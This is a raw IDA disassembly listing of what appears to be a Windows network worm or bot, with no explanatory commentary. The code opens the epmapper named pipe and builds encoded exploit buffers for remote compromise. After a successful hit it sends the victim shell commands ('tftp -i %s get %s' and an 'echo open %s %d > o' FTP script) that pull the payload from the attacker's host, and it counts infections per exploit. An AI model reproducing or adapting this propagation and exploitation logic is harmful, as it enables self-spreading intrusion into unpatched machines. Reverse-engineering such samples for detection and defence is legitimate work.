aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 26508D5h cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] nop call near ptr 2650000h cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 2640000h nop test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] nop call near ptr 26318FCh jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] nop call near ptr 26310C3h push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] nop call near ptr 26318FCh lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43AD98 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43ADD8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43AE30 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43AE30 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172B0 add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h nop call near ptr 2620000h inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_415450 pop ecx mov dword_436EE0, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word ptr dword_436EE0 push eax call dword_43AD98 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 mov esi, offset byte_42F674 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h call near ptr 2620000h nop push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 push ebx call dword_43AE30 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_436EE0 add esp, 2Ch push eax call dword_43AD98 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 68h push offset dword_42811C push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0A0h push offset dword_428188 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch nop call near ptr 2620000h sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_415450 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0A8h push offset dword_427F2C push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43AE30 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_436EF4 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 